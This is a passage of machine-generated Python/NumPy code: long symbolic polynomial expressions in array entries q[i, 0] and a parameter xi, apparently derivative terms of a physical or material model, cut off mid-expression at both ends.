- 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(-2405279374.73864*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 30441817.0865359*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 898984.910836762*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (-q[0, 0] + 2*q[1, 0] - q[2, 0])*(25283.9506172839*q[0, 0] - 12641.975308642*q[1, 0] - 12641.975308642*q[2, 0]) + 4810558749.47727*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 121767268.346143*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1797969.82167352*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12641.975308642*q[0, 0]**2 + 12641.975308642*q[0, 0]*q[1, 0] + 12641.975308642*q[0, 0]*q[2, 0] - 12641.975308642*q[1, 0]**2 + 12641.975308642*q[1, 0]*q[2, 0] - 12641.975308642*q[2, 0]**2 + 26.6666666666667) + (-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*((-8017597.91579545*q[0, 0] + 4008798.95789773*q[1, 0] + 4008798.95789773*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + (-337119.341563786*q[0, 0] + 168559.670781893*q[1, 0] + 168559.670781893*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 12828156665.2727*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 2004399.47894886*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 7990976.98521566*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 84279.8353909465*(-q[0, 0] + 2*q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])**2 + (31963907.9408627*q[0, 0] - 15981953.9704313*q[1, 0] - 15981953.9704313*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + (51312626661.0909*q[0, 0] - 25656313330.5455*q[1, 0] - 25656313330.5455*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 1422.22222222222*q[0, 0] - 711.111111111111*q[1, 0] - 711.111111111111*q[2, 0]) + (-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-q[0, 0] + 2*q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]) - 12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0]) + 12828156665.2727*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])) - 4.44444444444444*q[0, 0] + 8.88888888888889*q[1, 0] + 8.88888888888889*q[2, 0] + 2.0, -160351958.315909*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 5073636.18108931*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 99887.2123151958*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (-q[0, 0] - q[1, 0] + 2*q[2, 0])*(2106.99588477366*q[0, 0] - 1053.49794238683*q[1, 0] - 1053.49794238683*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45) - 160351958.315909*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 5073636.18108931*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 99887.2123151958*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + (2106.99588477366*q[0, 0] - 1053.49794238683*q[1, 0] - 1053.49794238683*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (-1053.49794238683*q[0, 0] - 1053.49794238683*q[1, 0] - 1053.49794238683*q[2, 0] - 474.074074074074)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 160351958.315909*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 5073636.18108931*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 99887.2123151958*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + (60131984.3684659*xi**9*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(-2405279374.73864*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 30441817.0865359*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 898984.910836762*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (-q[0, 0] - q[1, 0] + 2*q[2, 0])*(25283.9506172839*q[0, 0] - 12641.975308642*q[1, 0] - 12641.975308642*q[2, 0]) + 4810558749.47727*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 121767268.346143*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1797969.82167352*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12641.975308642*q[0, 0]**2 + 12641.975308642*q[0, 0]*q[1, 0] + 12641.975308642*q[0, 0]*q[2, 0] - 12641.975308642*q[1, 0]**2 + 12641.975308642*q[1, 0]*q[2, 0] - 12641.975308642*q[2, 0]**2 + 26.6666666666667) + (-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*((-8017597.91579545*q[0, 0] + 4008798.95789773*q[1, 0] + 4008798.95789773*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + (-337119.341563786*q[0, 0] + 168559.670781893*q[1, 0] + 168559.670781893*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 12828156665.2727*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 2004399.47894886*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 7990976.98521566*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 84279.8353909465*(-q[0, 0] - q[1, 0] + 2*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])**2 + (31963907.9408627*q[0, 0] - 15981953.9704313*q[1, 0] - 15981953.9704313*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + (51312626661.0909*q[0, 0] - 25656313330.5455*q[1, 0] - 25656313330.5455*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 1422.22222222222*q[0, 0] - 711.111111111111*q[1, 0] - 711.111111111111*q[2, 0]) + (-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-q[0, 0] - q[1, 0] + 2*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]) - 12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0]) - 12828156665.2727*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 405890894.487145*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 7990976.98521566*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 84279.8353909465*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 355.555555555555*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])) - 4.44444444444444*q[0, 0] + 8.88888888888889*q[1, 0] + 8.88888888888889*q[2, 0] + 2.0, (12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(6*q[3, 0] - 3*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 2106.99588477366*numpy.sqrt(3)*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])) + 